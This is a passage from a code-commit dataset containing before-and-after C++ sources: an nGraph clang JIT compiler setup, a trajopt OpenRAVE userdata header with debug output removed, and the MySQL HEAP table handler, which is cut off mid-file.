m_pch_path = file_util::tmp_filename();\n m_compiler->getFrontendOpts().OutputFile = m_pch_path;\n\n \/\/ Map code filename to a memoryBuffer\n StringRef source_ref(source);\n unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref);\n m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get());\n\n \/\/ Create and execute action\n clang::GeneratePCHAction* compilerAction = new clang::GeneratePCHAction();\n if (m_compiler->ExecuteAction(*compilerAction) == true)\n {\n m_precompiled_header_valid = true;\n }\n\n buffer.release();\n\n m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles();\n delete compilerAction;\n}\n<commit_msg>Kill duplicate imports (#308)<commit_after>\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2017 Nervana Systems Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ ----------------------------------------------------------------------------\n\n#include <iostream>\n\n#include <clang\/Basic\/DiagnosticOptions.h>\n#include <clang\/Basic\/TargetInfo.h>\n#include <clang\/CodeGen\/CodeGenAction.h>\n#include <clang\/CodeGen\/ObjectFilePCHContainerOperations.h>\n#include <clang\/Driver\/DriverDiagnostic.h>\n#include <clang\/Driver\/Options.h>\n#include <clang\/Frontend\/CompilerInstance.h>\n#include <clang\/Frontend\/CompilerInvocation.h>\n#include <clang\/Frontend\/FrontendActions.h>\n#include <clang\/Frontend\/FrontendDiagnostic.h>\n#include <clang\/Frontend\/TextDiagnosticBuffer.h>\n#include <clang\/Frontend\/TextDiagnosticPrinter.h>\n#include <clang\/Frontend\/Utils.h>\n#include <clang\/FrontendTool\/Utils.h>\n#include <clang\/Lex\/Preprocessor.h>\n#include <clang\/Lex\/PreprocessorOptions.h>\n#include <llvm\/ADT\/Statistic.h>\n#include <llvm\/LinkAllPasses.h>\n#include <llvm\/Option\/Arg.h>\n#include <llvm\/Option\/ArgList.h>\n#include <llvm\/Option\/OptTable.h>\n#include <llvm\/Support\/ErrorHandling.h>\n#include <llvm\/Support\/ManagedStatic.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Timer.h>\n#include <llvm\/Support\/raw_ostream.h>\n\n#include \"ngraph\/codegen\/compiler.hpp\"\n#include \"ngraph\/file_util.hpp\"\n#include \"ngraph\/log.hpp\"\n#include \"ngraph\/util.hpp\"\n\n\/\/ TODO: Fix leaks\n\n\/\/ #define USE_CACHE\n\nusing namespace clang;\nusing namespace llvm;\nusing namespace llvm::opt;\nusing namespace std;\n\nusing namespace ngraph::codegen;\n\nstatic HeaderCache s_header_cache;\nstatic StaticCompiler s_static_compiler;\nstatic std::mutex m_mutex;\n\nCompiler::Compiler()\n{\n}\n\nCompiler::~Compiler()\n{\n}\n\nvoid Compiler::set_precompiled_header_source(const std::string& source)\n{\n s_static_compiler.set_precompiled_header_source(source);\n}\n\nvoid Compiler::add_header_search_path(const std::string& path)\n{\n s_static_compiler.add_header_search_path(path);\n}\n\nstd::unique_ptr<llvm::Module> Compiler::compile(const std::string& source)\n{\n lock_guard<mutex> lock(m_mutex);\n return s_static_compiler.compile(compiler_action, source);\n}\n\nstatic std::string GetExecutablePath(const char* Argv0)\n{\n \/\/ This just needs to be some symbol in the binary; C++ doesn't\n \/\/ allow taking the address of ::main however.\n void* MainAddr = reinterpret_cast<void*>(GetExecutablePath);\n return llvm::sys::fs::getMainExecutable(Argv0, MainAddr);\n}\n\nStaticCompiler::StaticCompiler()\n : m_precompiled_header_valid(false)\n , m_debuginfo_enabled(false)\n , m_source_name(\"code.cpp\")\n{\n#if NGCPU_DEBUGINFO\n m_debuginfo_enabled = true;\n#endif\n\n InitializeNativeTarget();\n LLVMInitializeNativeAsmPrinter();\n LLVMInitializeNativeAsmParser();\n\n \/\/ Prepare compilation arguments\n vector<const char*> args;\n args.push_back(m_source_name.c_str());\n\n \/\/ Prepare DiagnosticEngine\n IntrusiveRefCntPtr<DiagnosticOptions> DiagOpts = new DiagnosticOptions();\n TextDiagnosticPrinter* textDiagPrinter = new clang::TextDiagnosticPrinter(errs(), &*DiagOpts);\n IntrusiveRefCntPtr<DiagnosticIDs> DiagID(new DiagnosticIDs());\n DiagnosticsEngine DiagEngine(DiagID, &*DiagOpts, textDiagPrinter);\n\n \/\/ Create and initialize CompilerInstance\n m_compiler = std::unique_ptr<CompilerInstance>(new CompilerInstance());\n m_compiler->createDiagnostics();\n\n \/\/ Initialize CompilerInvocation\n CompilerInvocation::CreateFromArgs(\n m_compiler->getInvocation(), &args[0], &args[0] + args.size(), DiagEngine);\n\n \/\/ Infer the builtin include path if unspecified.\n if (m_compiler->getHeaderSearchOpts().UseBuiltinIncludes &&\n m_compiler->getHeaderSearchOpts().ResourceDir.empty())\n {\n void* MainAddr = reinterpret_cast<void*>(GetExecutablePath);\n auto path = CompilerInvocation::GetResourcesPath(args[0], MainAddr);\n m_compiler->getHeaderSearchOpts().ResourceDir = path;\n }\n\n if (s_header_cache.is_valid() == false)\n {\n \/\/ Add base toolchain-supplied header paths\n \/\/ Ideally one would use the Linux toolchain definition in clang\/lib\/Driver\/ToolChains.h\n \/\/ But that's a private header and isn't part of the public libclang API\n \/\/ Instead of re-implementing all of that functionality in a custom toolchain\n \/\/ just hardcode the paths relevant to frequently used build\/test machines for now\n add_header_search_path(CLANG_BUILTIN_HEADERS_PATH);\n add_header_search_path(\"\/usr\/include\/x86_64-linux-gnu\");\n add_header_search_path(\"\/usr\/include\");\n\n \/\/ Search for headers in\n \/\/ \/usr\/include\/x86_64-linux-gnu\/c++\/N.N\n \/\/ \/usr\/include\/c++\/N.N\n \/\/ and add them to the header search path\n\n file_util::iterate_files(\"\/usr\/include\/x86_64-linux-gnu\/c++\/\",\n [&](const std::string& file, bool is_dir) {\n if (is_dir)\n {\n string dir_name = file_util::get_file_name(file);\n if (is_version_number(dir_name))\n {\n add_header_search_path(file);\n }\n }\n });\n\n file_util::iterate_files(\"\/usr\/include\/c++\/\", [&](const std::string& file, bool is_dir) {\n if (is_dir)\n {\n string dir_name = file_util::get_file_name(file);\n if (is_version_number(dir_name))\n {\n add_header_search_path(file);\n }\n }\n });\n\n add_header_search_path(EIGEN_HEADERS_PATH);\n add_header_search_path(NGRAPH_HEADERS_PATH);\n#ifdef USE_CACHE\n s_header_cache.set_valid();\n#endif\n }\n\n#ifdef USE_CACHE\n use_cached_files(m_compiler);\n#endif\n\n \/\/ Language options\n \/\/ These are the C++ features needed to compile ngraph headers\n \/\/ and any dependencies like Eigen\n auto LO = m_compiler->getInvocation().getLangOpts();\n LO->CPlusPlus = 1;\n LO->CPlusPlus11 = 1;\n LO->Bool = 1;\n LO->Exceptions = 1;\n LO->CXXExceptions = 1;\n LO->WChar = 1;\n LO->RTTI = 1;\n \/\/ Enable OpenMP for Eigen\n LO->OpenMP = 1;\n LO->OpenMPUseTLS = 1;\n\n \/\/ CodeGen options\n auto& CGO = m_compiler->getInvocation().getCodeGenOpts();\n CGO.OptimizationLevel = 3;\n CGO.RelocationModel = \"static\";\n CGO.ThreadModel = \"posix\";\n CGO.FloatABI = \"hard\";\n CGO.OmitLeafFramePointer = 1;\n CGO.VectorizeLoop = 1;\n CGO.VectorizeSLP = 1;\n CGO.CXAAtExit = 1;\n\n if (m_debuginfo_enabled)\n {\n CGO.setDebugInfo(codegenoptions::FullDebugInfo);\n }\n\n \/\/ Enable various target features\n \/\/ Most of these are for Eigen\n auto& TO = m_compiler->getInvocation().getTargetOpts();\n \/\/ TODO: This needs to be configurable and selected carefully\n TO.CPU = \"broadwell\";\n TO.FeaturesAsWritten.emplace_back(\"+sse\");\n TO.FeaturesAsWritten.emplace_back(\"+sse2\");\n TO.FeaturesAsWritten.emplace_back(\"+sse3\");\n TO.FeaturesAsWritten.emplace_back(\"+ssse3\");\n TO.FeaturesAsWritten.emplace_back(\"+sse4.1\");\n TO.FeaturesAsWritten.emplace_back(\"+sse4.2\");\n TO.FeaturesAsWritten.emplace_back(\"+avx\");\n TO.FeaturesAsWritten.emplace_back(\"+avx2\");\n TO.FeaturesAsWritten.emplace_back(\"+fma\");\n}\n\nStaticCompiler::~StaticCompiler()\n{\n}\n\nbool StaticCompiler::is_version_number(const string& path)\n{\n bool rc = true;\n vector<string> tokens = ngraph::split(path, '.');\n for (string s : tokens)\n {\n for (char c : s)\n {\n if (!isdigit(c))\n {\n rc = false;\n }\n }\n }\n return rc;\n}\n\nvoid StaticCompiler::add_header_search_path(const string& path)\n{\n if (!contains(m_extra_search_path_list, path))\n {\n m_extra_search_path_list.push_back(path);\n HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts();\n#ifdef USE_CACHE\n static vector<string> valid_ext = {\".h\", \".hpp\", \".tcc\", \"\"};\n string mapped_path = file_util::path_join(\"\/$BUILTIN\", path);\n mapped_path = path;\n s_header_cache.add_path(mapped_path);\n auto func = [&](const std::string& file, bool is_dir) {\n if (!is_dir)\n {\n string ext = file_util::get_file_ext(file);\n if (contains(valid_ext, ext))\n {\n \/\/ This is a header file\n string relative_name = file.substr(path.size() + 1);\n string mapped_name = file_util::path_join(mapped_path, relative_name);\n\n ErrorOr<unique_ptr<MemoryBuffer>> code = MemoryBuffer::getFile(file);\n if (error_code ec = code.getError())\n {\n \/\/ throw up\n throw runtime_error(\"could not find file '\" + file + \"'\");\n }\n\n s_header_cache.add_file(mapped_name, code.get());\n }\n }\n };\n file_util::iterate_files(path, func, true);\n#else\n hso.AddPath(path, clang::frontend::System, false, false);\n#endif\n }\n}\n\nvoid StaticCompiler::use_cached_files()\n{\n HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts();\n for (const string& path : s_header_cache.get_include_paths())\n {\n hso.AddPath(path, clang::frontend::System, false, false);\n }\n for (auto& header : s_header_cache.get_header_map())\n {\n m_compiler->getPreprocessorOpts().addRemappedFile(header.first, header.second.get());\n }\n}\n\nstd::unique_ptr<llvm::Module>\n StaticCompiler::compile(std::unique_ptr<clang::CodeGenAction>& compiler_action,\n const string& source)\n{\n if (!m_precompiled_header_valid && m_precomiled_header_source.empty() == false)\n {\n generate_pch(m_precomiled_header_source);\n }\n if (m_precompiled_header_valid)\n {\n \/\/ Preprocessor options\n auto& PPO = m_compiler->getInvocation().getPreprocessorOpts();\n PPO.ImplicitPCHInclude = m_pch_path;\n PPO.DisablePCHValidation = 0;\n }\n\n \/\/ Map code filename to a memoryBuffer\n StringRef source_ref(source);\n unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref);\n m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get());\n\n \/\/ Create and execute action\n compiler_action.reset(new EmitCodeGenOnlyAction());\n std::unique_ptr<llvm::Module> rc;\n if (m_compiler->ExecuteAction(*compiler_action) == true)\n {\n rc = compiler_action->takeModule();\n }\n\n buffer.release();\n\n m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles();\n\n return rc;\n}\n\nvoid StaticCompiler::generate_pch(const string& source)\n{\n m_pch_path = file_util::tmp_filename();\n m_compiler->getFrontendOpts().OutputFile = m_pch_path;\n\n \/\/ Map code filename to a memoryBuffer\n StringRef source_ref(source);\n unique_ptr<MemoryBuffer> buffer = MemoryBuffer::getMemBufferCopy(source_ref);\n m_compiler->getInvocation().getPreprocessorOpts().addRemappedFile(m_source_name, buffer.get());\n\n \/\/ Create and execute action\n clang::GeneratePCHAction* compilerAction = new clang::GeneratePCHAction();\n if (m_compiler->ExecuteAction(*compilerAction) == true)\n {\n m_precompiled_header_valid = true;\n }\n\n buffer.release();\n\n m_compiler->getInvocation().getPreprocessorOpts().clearRemappedFiles();\n delete compilerAction;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n#include \"macros.h\"\n#include <openrave\/openrave.h>\n#include <map>\n#include <boost\/make_shared.hpp>\n#include \"utils\/logging.hpp\"\n#include <iostream>\n\n#pragma GCC diagnostic ignored \"-Wdeprecated-declarations\"\n\nnamespace trajopt {\n\n#if OPENRAVE_VERSION_MINOR > 8\n\n#define TRAJOPT_DATA (\"__trajopt_data__\")\n\ninline OpenRAVE::UserDataPtr GetUserData(const OpenRAVE::InterfaceBase& body, const std::string& key) {\n OpenRAVE::UserDataPtr val = body.GetUserData(key);\n std::cout << \">>>> GET \" << key << \": \" << val << std::endl;\n return val;\n}\ninline void SetUserData(OpenRAVE::InterfaceBase& body, const std::string& key, OpenRAVE::UserDataPtr val) {\n std::cout << \">>>> SET \" << key << \": \" << val << std::endl;\n body.SetUserData(key, val);\n}\ninline void RemoveUserData(OpenRAVE::InterfaceBase& body, const std::string& key) {\n std::cout << \">>>> REM \" << key << std::endl;\n body.RemoveUserData(key);\n}\n\ninline OpenRAVE::KinBodyPtr GetEnvDataObject(OpenRAVE::EnvironmentBase& env) {\n OpenRAVE::KinBodyPtr trajopt_data = env.GetKinBody(\"__trajopt_data__\");\n if (!trajopt_data) {\n OpenRAVE::Vector v;\n std::vector< OpenRAVE::Vector > svec;\n svec.push_back(v);\n trajopt_data = OpenRAVE::RaveCreateKinBody(env.shared_from_this(), \"\");\n trajopt_data->SetName(\"__trajopt_data__\");\n trajopt_data->InitFromSpheres(svec, false);\n env.Add(trajopt_data);\n }\n return trajopt_data;\n}\n\ninline OpenRAVE::UserDataPtr GetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) {\n return GetEnvDataObject(env)->GetUserData(key);\n}\ninline void SetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key, OpenRAVE::UserDataPtr val) {\n GetEnvDataObject(env)->SetUserData(key, val);\n}\ninline void RemoveUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) {\n GetEnvDataObject(env)->RemoveUserData(key);\n}\n\n#else \/\/ OPENRAVE_VERSION_MINOR > 8\n\nclass UserMap : public std::map<std::string, OpenRAVE::UserDataPtr>, public OpenRAVE::UserData {};\n\ntemplate <typename T>\nOpenRAVE::UserDataPtr GetUserData(const T& env, const std::string& key) {\n OpenRAVE::UserDataPtr ud = env.GetUserData();\n if (!ud) return OpenRAVE::UserDataPtr();\n else if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n UserMap::iterator it = (*um).find(key);\n if (it != (*um).end()) return it->second;\n else return OpenRAVE::UserDataPtr();\n }\n else {\n throw OpenRAVE::openrave_exception(\"Userdata has the wrong class!\");\n return OpenRAVE::UserDataPtr();\n }\n}\ntemplate <typename T>\nvoid SetUserData(T& env, const std::string& key, OpenRAVE::UserDataPtr val) {\n OpenRAVE::UserDataPtr ud = env.GetUserData();\n if (!ud) {\n ud = OpenRAVE::UserDataPtr(new UserMap());\n env.SetUserData(ud);\n }\n if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n (*um)[key] = val;\n }\n else {\n throw OpenRAVE::openrave_exception(\"userdata has unexpected class\");\n }\n}\ntemplate <typename T>\nvoid RemoveUserData(T& body, const std::string& key) {\n OpenRAVE::UserDataPtr ud = body.GetUserData();\n if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n if (um->find(key) == um->end()) LOG_WARN(\"tried to erase key %s but it's not in the userdata map!\", key.c_str());\n (*um).erase(key);\n }\n else {\n LOG_ERROR(\"body %s has no userdata map\", body.GetName().c_str());\n }\n}\n\n#endif \/\/ OPENRAVE_VERSION_MINOR > 8\n\n}\n<commit_msg>Removed key-value store debugging information.<commit_after>#pragma once\n#include \"macros.h\"\n#include <openrave\/openrave.h>\n#include <map>\n#include <boost\/make_shared.hpp>\n#include \"utils\/logging.hpp\"\n#include <iostream>\n\n#pragma GCC diagnostic ignored \"-Wdeprecated-declarations\"\n\nnamespace trajopt {\n\n#if OPENRAVE_VERSION_MINOR > 8\n\n#define TRAJOPT_DATA (\"__trajopt_data__\")\n\ninline OpenRAVE::UserDataPtr GetUserData(const OpenRAVE::InterfaceBase& body, const std::string& key) {\n return body.GetUserData(key);\n}\ninline void SetUserData(OpenRAVE::InterfaceBase& body, const std::string& key, OpenRAVE::UserDataPtr val) {\n body.SetUserData(key, val);\n}\ninline void RemoveUserData(OpenRAVE::InterfaceBase& body, const std::string& key) {\n body.RemoveUserData(key);\n}\n\ninline OpenRAVE::KinBodyPtr GetEnvDataObject(OpenRAVE::EnvironmentBase& env) {\n OpenRAVE::KinBodyPtr trajopt_data = env.GetKinBody(\"__trajopt_data__\");\n if (!trajopt_data) {\n std::vector< OpenRAVE::Vector > svec;\n trajopt_data = OpenRAVE::RaveCreateKinBody(env.shared_from_this(), \"\");\n trajopt_data->SetName(\"__trajopt_data__\");\n trajopt_data->InitFromSpheres(svec, false);\n env.Add(trajopt_data);\n }\n return trajopt_data;\n}\n\ninline OpenRAVE::UserDataPtr GetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) {\n return GetEnvDataObject(env)->GetUserData(key);\n}\ninline void SetUserData(OpenRAVE::EnvironmentBase& env, const std::string& key, OpenRAVE::UserDataPtr val) {\n GetEnvDataObject(env)->SetUserData(key, val);\n}\ninline void RemoveUserData(OpenRAVE::EnvironmentBase& env, const std::string& key) {\n GetEnvDataObject(env)->RemoveUserData(key);\n}\n\n#else \/\/ OPENRAVE_VERSION_MINOR > 8\n\nclass UserMap : public std::map<std::string, OpenRAVE::UserDataPtr>, public OpenRAVE::UserData {};\n\ntemplate <typename T>\nOpenRAVE::UserDataPtr GetUserData(const T& env, const std::string& key) {\n OpenRAVE::UserDataPtr ud = env.GetUserData();\n if (!ud) return OpenRAVE::UserDataPtr();\n else if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n UserMap::iterator it = (*um).find(key);\n if (it != (*um).end()) return it->second;\n else return OpenRAVE::UserDataPtr();\n }\n else {\n throw OpenRAVE::openrave_exception(\"Userdata has the wrong class!\");\n return OpenRAVE::UserDataPtr();\n }\n}\ntemplate <typename T>\nvoid SetUserData(T& env, const std::string& key, OpenRAVE::UserDataPtr val) {\n OpenRAVE::UserDataPtr ud = env.GetUserData();\n if (!ud) {\n ud = OpenRAVE::UserDataPtr(new UserMap());\n env.SetUserData(ud);\n }\n if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n (*um)[key] = val;\n }\n else {\n throw OpenRAVE::openrave_exception(\"userdata has unexpected class\");\n }\n}\ntemplate <typename T>\nvoid RemoveUserData(T& body, const std::string& key) {\n OpenRAVE::UserDataPtr ud = body.GetUserData();\n if (UserMap* um = dynamic_cast<UserMap*>(ud.get())) {\n if (um->find(key) == um->end()) LOG_WARN(\"tried to erase key %s but it's not in the userdata map!\", key.c_str());\n (*um).erase(key);\n }\n else {\n LOG_ERROR(\"body %s has no userdata map\", body.GetName().c_str());\n }\n}\n\n#endif \/\/ OPENRAVE_VERSION_MINOR > 8\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n#ifdef __GNUC__\n#pragma implementation\t\t\t\t\/\/ gcc: Class implementation\n#endif\n\n#include \"mysql_priv.h\"\n#include <myisampack.h>\n#include \"ha_heap.h\"\n\n\/*****************************************************************************\n** HEAP tables\n*****************************************************************************\/\n\nconst char **ha_heap::bas_ext() const\n{ static const char *ext[1]= { NullS }; return ext; }\n\n\nint ha_heap::open(const char *name, int mode, uint test_if_locked)\n{\n uint key,parts,mem_per_row=0;\n ulong max_rows;\n HP_KEYDEF *keydef;\n HP_KEYSEG *seg;\n THD *thd= current_thd;\n\n for (key=parts=0 ; key < table->keys ; key++)\n parts+=table->key_info[key].key_parts;\n\n if (!(keydef=(HP_KEYDEF*) my_malloc(table->keys*sizeof(HP_KEYDEF)+\n\t\t\t\t parts*sizeof(HP_KEYSEG),MYF(MY_WME))))\n return my_errno;\n seg=my_reinterpret_cast(HP_KEYSEG*) (keydef+table->keys);\n for (key=0 ; key < table->keys ; key++)\n {\n KEY *pos=table->key_info+key;\n KEY_PART_INFO *key_part= pos->key_part;\n KEY_PART_INFO *key_part_end= key_part+pos->key_parts;\n\n mem_per_row += (pos->key_length + (sizeof(char*) * 2));\n\n keydef[key].keysegs=(uint) pos->key_parts;\n keydef[key].flag = (pos->flags & (HA_NOSAME | HA_NULL_ARE_EQUAL));\n keydef[key].seg=seg;\n\n for (; key_part != key_part_end ; key_part++, seg++)\n {\n uint flag=key_part->key_type;\n Field *field=key_part->field;\n if (!f_is_packed(flag) &&\n\t f_packtype(flag) == (int) FIELD_TYPE_DECIMAL &&\n\t !(flag & FIELDFLAG_BINARY))\n\tseg->type= (int) HA_KEYTYPE_TEXT;\n else\n\tseg->type= (int) HA_KEYTYPE_BINARY;\n seg->start=(uint) key_part->offset;\n seg->length=(uint) key_part->length;\n if (field->null_ptr)\n {\n\tseg->null_bit=field->null_bit;\n\tseg->null_pos= (uint) (field->null_ptr-\n\t\t\t (uchar*) table->record[0]);\n }\n else\n {\n\tseg->null_bit=0;\n\tseg->null_pos=0;\n }\n }\n }\n mem_per_row += MY_ALIGN(table->reclength+1, sizeof(char*));\n max_rows = (ulong) (thd->variables.max_heap_table_size \/ mem_per_row);\n file=heap_open(name,mode,\n\t\t table->keys,keydef,\n\t\t table->reclength,\n\t\t (ulong) ((table->max_rows < max_rows && table->max_rows) ? \n\t\t\t table->max_rows : max_rows),\n\t\t (ulong) table->min_rows);\n my_free((gptr) keydef,MYF(0));\n if (file)\n info(HA_STATUS_NO_LOCK | HA_STATUS_CONST | HA_STATUS_VARIABLE);\n ref_length=sizeof(HEAP_PTR);\n return (!file ? errno : 0);\n}\n\nint ha_heap::close(void)\n{\n return heap_close(file);\n}\n\nint ha_heap::write_row(byte * buf)\n{\n statistic_increment(ha_write_count,&LOCK_status);\n if (table->time_stamp)\n update_timestamp(buf+table->time_stamp-1);\n return heap_write(file,buf);\n}\n\nint ha_heap::update_row(const byte * old_data, byte * new_data)\n{\n statistic_increment(ha_update_count,&LOCK_status);\n if (table->time_stamp)\n update_timestamp(new_data+table->time_stamp-1);\n return heap_update(file,old_data,new_data);\n}\n\nint ha_heap::delete_row(const byte * buf)\n{\n statistic_increment(ha_delete_count,&LOCK_status);\n return heap_delete(file,buf);\n}\n\nint ha_heap::index_read(byte * buf, const byte * key,\n\t\t\tuint key_len __attribute__((unused)),\n\t\t\tenum ha_rkey_function find_flag\n\t\t\t__attribute__((unused)))\n{\n statistic_increment(ha_read_key_count,&LOCK_status);\n int error=heap_rkey(file,buf,active_index, key);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_read_idx(byte * buf, uint index, const byte * key,\n\t\t\t uint key_len __attribute__((unused)),\n\t\t\t enum ha_rkey_function find_flag\n\t\t\t __attribute__((unused)))\n{\n statistic_increment(ha_read_key_count,&LOCK_status);\n int error=heap_rkey(file, buf, index, key);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\n\nint ha_heap::index_next(byte * buf)\n{\n statistic_increment(ha_read_next_count,&LOCK_status);\n int error=heap_rnext(file,buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_prev(byte * buf)\n{\n statistic_increment(ha_read_prev_count,&LOCK_status);\n int error=heap_rprev(file,buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_first(byte * buf)\n{\n statistic_increment(ha_read_first_count,&LOCK_status);\n int error=heap_rfirst(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_last(byte * buf)\n{\n statistic_increment(ha_read_last_count,&LOCK_status);\n int error=heap_rlast(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::rnd_init(bool scan)\n{\n return scan ? heap_scan_init(file) : 0;\n}\n\nint ha_heap::rnd_next(byte *buf)\n{\n statistic_increment(ha_read_rnd_next_count,&LOCK_status);\n int error=heap_scan(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::rnd_pos(byte * buf, byte *pos)\n{\n int error;\n HEAP_PTR position;\n statistic_increment(ha_read_rnd_count,&LOCK_status);\n memcpy_fixed((char*) &position,pos,sizeof(HEAP_PTR));\n error=heap_rrnd(file, buf, position);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nvoid ha_heap::position(const byte *record)\n{\n *(HEAP_PTR*) ref= heap_position(file);\t\/\/ Ref is aligned\n}\n\nvoid ha_heap::info(uint flag)\n{\n HEAPINFO info;\n (void) heap_info(file,&info,flag);\n\n records = info.records;\n deleted = info.deleted;\n errkey = info.errkey;\n mean_rec_length=info.reclength;\n data_file_length=info.data_length;\n index_file_length=info.index_length;\n max_data_file_length= info.max_records* info.reclength;\n delete_length= info.deleted * info.reclength;\n implicit_emptied= info.implicit_emptied;\n}\n\nint ha_heap::extra(enum ha_extra_function operation)\n{\n return heap_extra(file,operation);\n}\n\nint ha_heap::reset(void)\n{\n return heap_extra(file,HA_EXTRA_RESET);\n}\n\nint ha_heap::delete_all_rows()\n{\n heap_clear(file);\n return 0;\n}\n\nint ha_heap::external_lock(THD *thd, int lock_type)\n{\n return 0;\t\t\t\t\t\/\/ No external locking\n}\n\nTHR_LOCK_DATA **ha_heap::store_lock(THD *thd,\n\t\t\t\t THR_LOCK_DATA **to,\n\t\t\t\t enum thr_lock_type lock_type)\n{\n if (lock_type != TL_IGNORE && file->lock.type == TL_UNLOCK)\n file->lock.type=lock_type;\n *to++= &file->lock;\n return to;\n}\n\n\n\/*\n We have to ignore ENOENT entries as the HEAP table is created on open and\n not when doing a CREATE on the table.\n*\/\n\nint ha_heap::delete_table(const char *name)\n{\n int error=heap_delete_table(name);\n return error == ENOENT ? 0 : error;\n}\n\nint ha_heap::rename_table(const char * from, const char * to)\n{\n return heap_rename(from,to);\n}\n\n\nha_rows ha_heap::records_in_range(int inx,\n\t\t\t\t const byte *start_key,uint start_key_len,\n\t\t\t\t enum ha_rkey_function start_search_flag,\n\t\t\t\t const byte *end_key,uint end_key_len,\n\t\t\t\t enum ha_rkey_function end_search_flag)\n{\n KEY *pos=table->key_info+inx;\n if (start_key_len != end_key_len ||\n start_key_len != pos->key_length ||\n start_search_flag != HA_READ_KEY_EXACT ||\n end_search_flag != HA_READ_AFTER_KEY)\n return HA_POS_ERROR;\t\t\t\/\/ Can't only use exact keys\n return 10;\t\t\t\t\t\/\/ Good guess\n}\n\n\nint ha_heap::create(const char *name, TABLE *form, HA_CREATE_INFO *create_info)\n\n{\n char buff[FN_REFLEN];\n return heap_create(fn_format(buff,name,\"\",\"\",4+2));\n}\n<commit_msg>fixed Bug #4973 Memory is not released when HEAP table is dropped<commit_after>\/* Copyright (C) 2000 MySQL AB & MySQL Finland AB & TCX DataKonsult AB\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n#ifdef __GNUC__\n#pragma implementation\t\t\t\t\/\/ gcc: Class implementation\n#endif\n\n#include \"mysql_priv.h\"\n#include <myisampack.h>\n#include \"ha_heap.h\"\n\n\/*****************************************************************************\n** HEAP tables\n*****************************************************************************\/\n\nconst char **ha_heap::bas_ext() const\n{ static const char *ext[1]= { NullS }; return ext; }\n\n\nint ha_heap::open(const char *name, int mode, uint test_if_locked)\n{\n uint key,parts,mem_per_row=0;\n ulong max_rows;\n HP_KEYDEF *keydef;\n HP_KEYSEG *seg;\n THD *thd= current_thd;\n\n for (key=parts=0 ; key < table->keys ; key++)\n parts+=table->key_info[key].key_parts;\n\n if (!(keydef=(HP_KEYDEF*) my_malloc(table->keys*sizeof(HP_KEYDEF)+\n\t\t\t\t parts*sizeof(HP_KEYSEG),MYF(MY_WME))))\n return my_errno;\n seg=my_reinterpret_cast(HP_KEYSEG*) (keydef+table->keys);\n for (key=0 ; key < table->keys ; key++)\n {\n KEY *pos=table->key_info+key;\n KEY_PART_INFO *key_part= pos->key_part;\n KEY_PART_INFO *key_part_end= key_part+pos->key_parts;\n\n mem_per_row += (pos->key_length + (sizeof(char*) * 2));\n\n keydef[key].keysegs=(uint) pos->key_parts;\n keydef[key].flag = (pos->flags & (HA_NOSAME | HA_NULL_ARE_EQUAL));\n keydef[key].seg=seg;\n\n for (; key_part != key_part_end ; key_part++, seg++)\n {\n uint flag=key_part->key_type;\n Field *field=key_part->field;\n if (!f_is_packed(flag) &&\n\t f_packtype(flag) == (int) FIELD_TYPE_DECIMAL 